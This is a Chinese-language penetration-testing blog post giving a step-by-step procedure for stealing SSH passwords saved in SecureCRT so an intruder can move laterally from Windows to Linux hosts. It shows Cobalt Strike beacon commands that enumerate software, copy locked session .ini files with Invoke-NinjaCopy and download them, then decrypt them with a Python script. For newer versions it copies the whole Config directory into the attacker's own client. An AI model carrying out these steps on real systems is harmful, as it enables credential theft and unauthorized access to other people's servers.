解密SecureCRT客户端中保存的密码hash

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

SecureCRT是运维人员常用的管理工具。但由于某些运维人员的安全意识不高,平时很可能会把SSH的连接密码都保存在里面,这就给了渗透人员可乘之机,为后续跨平台横向移动做了准备。而我们的主要目的是为了解密保存在SecureCRT中的这些SHH连接密码,并通过这种方式实现Windows到Linux之间的快速横向渗透。

所有操作全部在管理员权限下进行,解密脚本仅限于 SecureCRT 7.x 以下版本,高版本需要使用文章末的方法。如果SecureCRT有启动密码,Config加密了,就不要搞了。

image-20191010171816965

确定目标SecureCRT的详细版本

想办法确定SecureCRT的详细版本,通过powershell脚本搞定,或者直接RDP登录连接查询等 「绿色版无安装记录」。发现目标所用的详细版本为 7.1.1(build 264)。

1
2
beacon> powershell-import /Users/anonysec/ListInstalledPrograms.ps1
beacon> powershell Get-list

image-20191010171843863

image-20191010171905440

确定SecureCRT配置文件目录下的Sessions目录

默认情况下,SecureCRT的Config目录路径为:%APPDATA%\VanDyke\Config\Sessions\

如果无法确定路径,可以通过图形界面在SecureCRT菜单的全局选项中来确认。

image-20191010171924223

Sessions目录下的每个ini文件都会以连接的IP或域名来命名。

1
beacon>shell dir %APPDATA%\VanDyke\Config\Sessions\

image-20191010171955356

拷贝下载Sessions目录的ini文件

直接到Sessions目录下载ini文件可能会有问题(应该程序占用),即使下载下来,到本地可能无法解密。所以,先用Invoke-NinjaCopy.ps1脚本把ini文件先copy到其他目录,然后再去下载。

1
2
3
4
beacon> powershell-import /Users/anonysec/Invoke-NinjaCopy.ps1
beacon> powershell Invoke-NinjaCopy -Path "C:\Users\r00t\AppData\Roaming\VanDyke\Config\Sessions\192.168.144.128.ini" -LocalDestination "c:\windows\temp\192.168.144.128.ini"
beacon> shell dir c:\windows\temp\192.168.144.128.ini
beacon> download c:\windows\temp\192.168.144.128.ini

image-20191010172013906

脚本解密Session

将下载的ini文件拷贝到本地,利用脚本进行解密。
环境:python 2.7、pycrypto库。
此处解密脚本仅限于 SecureCRT 7.x 以下的版本!

1
sudo pip2 install pycrypto

image-20191010172033675

1
python SecureCRT-decryptpass.py 192.168.144.128.ini

image-20191010172053972

SecureCRT高版本解决

如果目标的SecureCRT版本较高,无法进行解密该怎么办?此处以 8.5.3(X64 build 1867)为例,直接把对应%APPDATA%\VanDyke\Config\ 整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。

目标SecureCRT版本与本地版本需一致,否则可能会出现问题。

image-20191010172109348

image-20191010172125477

附脚本